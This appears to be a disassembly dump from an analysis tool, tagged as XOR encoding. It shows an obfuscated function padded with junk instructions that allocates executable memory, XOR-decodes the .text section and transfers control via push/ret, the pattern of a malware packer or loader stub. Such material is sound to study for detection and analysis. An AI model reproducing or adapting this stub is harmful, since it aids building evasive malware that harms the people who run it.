Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd01b7098
add eax, 0xf3abda9f
sub esi, 1
popal
mov eax, 0x13ac0611
sub eax, 1
mov ecx, 0
mov edx, ebx
add eax, 0x8c4b819f
dec esi
or esi, esi
mov edi, edx
add eax, esi
add eax, 0x3b07371d
or eax, esi
mov ebx, edi
add eax, esi
not eax
add eax, esi
inc ecx
sub eax, 0x37d8dd9a
or eax, esi
dec esi
cmp ecx, 0x1005fe2
jne 0xa789cf
sub esi, 0xc4cece
or eax, eax
add eax, esi
mov esi, 0xb466d51f
or eax, esi
mov edi, 0xa78796
or ebx, ebx
and ebx, ecx
mov eax, 0xa7898a
add ecx, esi
sub ecx, esi
mov edx, dword [edi]
sub ecx, 0xdf4de619
sub ebx, 0x916ca6ae
add esi, ebx
and edx, 0xff
add ecx, ebx
add ebx, 1
sub esi, ebx
xor dword [eax], edx
sub ecx, esi
not ecx
inc eax
mov esi, ecx
and ebx, ecx
add edi, 1
not esi
mov ecx, 0x17127032
inc ebx
cmp eax, entry0
jl 0xa78a27
not ebx
mov ecx, esi
add ebx, 0x31aeab31
dec ecx
dec ebx
and ebx, edi
not ebx
mov esi, 0xa7898e
inc ebx
or edi, edi
mov esi, dword [esi]
sub ecx, 0x97b4ea9f
sub ecx, ebx
sub ecx, 0x68e918db
mov esi, dword [esi]
mov ebx, 0xeda0e887
add edx, 1
or ecx, edi
push esi
mov edx, edi
sub ecx, edi
mov esi, 0xa7898a
inc ecx
mov ebx, 0xd7b42296
sub edi, 1
mov esi, dword [esi]
or ebx, edx
add ebx, edi
mov esi, dword [esi]
or ecx, ecx
inc edx
sub ecx, 0xa03b1549
push 0xa78992
mov edi, ecx
sub ebx, 1
call esi
sub ebx, 0xa3928943
dec edx
or edx, edi
pop esi
not ecx
inc edx
push 0xa7899f
mov edx, 0x3260d7ba
not edi
add edx, 0x6ad75595
push eax
add ebx, edx
add edx, 0xdcf74368
call esi
and ecx, ebx
sub edi, 0x151db66
push 0x40
add edx, edi
dec edx
and edi, ebx
push 0x3000
sub edx, 1
add ecx, 0x78384852
or edx, edi
push 0x20000d66
sub edi, edx
and edi, ecx
push 0
add ecx, ebx
inc ecx
call eax
and ebx, edx
dec ecx
add eax, 0x20000ce9
and ebx, edi
and edi, edi
mov esi, 0xd6a799c2
mov edx, 0xce146483
sub edx, ebx
or ebx, ecx
mov dword [eax], esi
not ecx
add ecx, 0xbef7f54
mov esi, dword [eax]
sub edi, 0x7bb6aac0
sub ebx, ecx
add ecx, ecx
cmp esi, 0xd6a799c2
je 0xa78b7b
mov eax, 0
mov dword [eax], ebx
or ecx, ecx
add ecx, 0x6ed357fc
sub edx, ecx
and edi, edi
add ecx, edx
add eax, eax
dec esi
mov ecx, section..text
mov eax, 0x33c44623
mov esi, 0x3bcad2c8
mov ebx, 0xa78795
mov esi, 0x9a407965
and eax, eax
add eax, eax
mov edi, 0
not esi
not eax
add eax, 0xa237c895
mov edx, 0xa78796
add esi, 0xa7fc5e9f
or eax, eax
and eax, eax
lea edx, [edx + edi]
not esi
add esi, 0xd8f33aa4
mov edx, dword [edx]
and eax, esi
add esi, eax
and edx, 0xff
not esi
dec eax
dec eax
inc edi
dec eax
dec eax
cmp edi, 0x1f4
jne 0xa78bf2
mov edi, 0
add eax, 0x53079012
sub eax, esi
add esi, esi
or esi, esi
xor dword [ecx], edx
sub esi, 0x4a74b5d
add eax, eax
add eax, esi
add ecx, 2
or eax, esi
or eax, eax
dec esi
cmp ecx, ebx
jl 0xa78bb8
sub esi, 0x53499356
inc esi
add eax, 0xc9050b90
sub eax, 0x982d4457
sub eax, 1
mov ebx, section..text
not eax
inc eax
mov esi, section..text
sub ecx, 0x8d933627
inc ecx
not ecx
mov edi, 0xa78795
sub eax, 0x7eb38bc9
dec ecx
not eax
mov edx, 0
or ecx, ecx
or ecx, ecx
mov dl, byte [esi]
sub eax, ecx
add eax, ecx
not eax
mov byte [ebx], dl
not ecx
or eax, eax
inc ebx
add ecx, 0x844ba6d8
mov eax, ecx
not ecx
add esi, 2
mov eax, ecx
or eax, ecx
sub eax, 0x80d018b9
cmp esi, edi
jle 0xa78c63
sub ecx, eax
add eax, 0x723eedf0
sub esi, 0x602c909f
sub eax, esi
inc esi
push 0x8dc6a0
add esi, 0x4a43e4cc
add eax, esi
not esi
ret